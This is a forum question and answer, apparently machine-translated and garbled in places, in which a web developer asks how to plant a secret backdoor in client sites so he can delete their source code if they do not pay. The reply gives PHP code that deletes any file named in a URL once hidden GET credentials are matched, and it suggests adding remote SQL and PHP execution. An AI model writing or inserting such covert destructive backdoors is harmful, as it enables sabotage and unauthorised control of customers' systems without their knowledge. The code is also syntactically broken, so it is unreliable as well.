Site background check version of the code how to write, and how to leave the backdoor

Website background check version of the code how to write, and how to leave the back door?
Want to add a function in the background of the website:

If the current version of the customer is lower than what I recently posted, remind me to upgrade.

There are some customers do not give the balance of the site, whether you can leave a back door, encountered the kind of not to give the balance also curse, through a secret address to his website source unlink () off.

Daniel gives a thought, thank you.

------Solution--------------------
Don't think it's too complicated.
For example, there is a call index.php, very common.
You can add a special method to do the back door.
For example:

 
 $hack = isset ($_get[' hack ')? $_get[' hack ': 0;
$hackusername = isset ($_get[' hackusername ')? $_get[' hackusername ': ';
$hackpassword = isset ($_get[' Hackpassword ')? $_get[' Hackpassword ': ';

if ($hack ==1 && MD5 ($hackusername) = = ' xxxx ' && MD5 ($hackpassword) = = ' xxxxxx ') {

    $delfile = isset ($_get[' delfile ')? $_get[' delfile ': ';
    if ($delfile! = ") {
        Delfile ($delfile);
    }

    Here you can also do an interface, you can enter SQL, input PHP to execute the command those.
}

function Delfile ($path) {
    Unlink ($path);
}
?>

